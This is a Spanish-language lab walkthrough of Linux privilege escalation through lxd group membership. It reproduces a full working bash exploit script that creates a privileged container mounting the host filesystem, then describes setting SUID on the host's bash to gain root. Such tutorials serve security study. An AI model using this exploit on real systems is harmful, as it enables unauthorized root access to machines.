# LXD

LXD (Linux Containers Daemon) es una tecnología de contenedores para sistemas Linux que ofrece una experiencia de virtualización ligera y eficiente. A continuación, se describen algunas de las funciones y casos de uso principales de LXD.



<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FjLevITTG0WohOg472jHX%2F1.png?alt=media&#x26;token=4888130e-14a2-4d00-81d5-93a23b441942" alt=""><figcaption></figcaption></figure>

En un laboratorio local, observamos que yo como rodgar estoy en el grupo lxd, esto lo podemos aprovechar para escalar nuestros privilegios.



<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FNMojnc5MpaJTKPTynVIP%2F2.png?alt=media&#x26;token=e7f19d65-341c-4353-b398-665f1138c6a8" alt=""><figcaption></figcaption></figure>

Buscamos con searchsploit un exploit y encontramos uno nos lo descarmos a local.

<pre class="language-bash"><code class="lang-bash"><strong>#!/usr/bin/env bash
</strong>
# ----------------------------------
# Authors: Marcelo Vazquez (S4vitar)
#	   Victor Lasa      (vowkin)
# ----------------------------------

# Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]
# Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
# Step 3: Run this script and you will get root [Victim Machine]
# Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine

function helpPanel(){
  echo -e "\nUsage:"
  echo -e "\t[-f] Filename (.tar.gz alpine file)"
  echo -e "\t[-h] Show this help panel\n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine &#x26;&#x26; lxd init --auto
  echo -e "[*] Listing images...\n" &#x26;&#x26; lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "\n[*] Removing container..."
  lxc stop privesc &#x26;&#x26; lxc delete privesc &#x26;&#x26; lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG &#x26;&#x26; let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi
```
</code></pre>

El script nos dice que descarguemos esto en local  wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine.



<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2F84czuHwKpxOTiiCJnyE9%2F3.png?alt=media&#x26;token=bf010b4d-ae93-4f6e-8cf6-1626dbd7f2af" alt=""><figcaption></figcaption></figure>

Luego hacemos lo que se observa en la imagen, para hacer el bash build-alpine debes estar como root, en local no en la maquina victima.

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FR0WxabmHhocnrt1N075N%2F4.png?alt=media&#x26;token=66c95b88-e005-466c-95a9-b44a4685b364" alt=""><figcaption></figcaption></figure>

Con el comando anterior se nos crear el alpine-v3 etc. Este archivo nos lo transferimos a la maquina que hemos comprometido.



<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FdIshHyyYb4lw6kLyJfc5%2F5.png?alt=media&#x26;token=eae44bbe-477d-411f-9355-e31b1e7f3a48" alt=""><figcaption></figcaption></figure>

Habiendo ya transferido el archivo a la maquina comprometida, nos lo ejecutamos de la forma en como se observa en la imagen, observamos que si hago un whoami somos root, pero dentro del contenedor lxd no dentro de la maquina real.

Entonces como escalamos privilegios en la maquina real, a eso vamos no te calientes plancha.



<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FHWcHkeH3ANoUrEcYAhh5%2F6.png?alt=media&#x26;token=854cb707-ea13-4845-b9ca-cb6a67ea2875" alt=""><figcaption></figcaption></figure>

En el contenedor nos vamos ah donde se creo el contenedor /mnt/root/usr/bin y le damos permisos SUID a la bash.

Luego en otra terminal o te sales del contenedor y si listas los permisos antes y despues de la bash observamos que la bash se le asigno permisos SUID hacemos un bash -p y somos root, pero esta vez en la maquina real no en el contenedor.







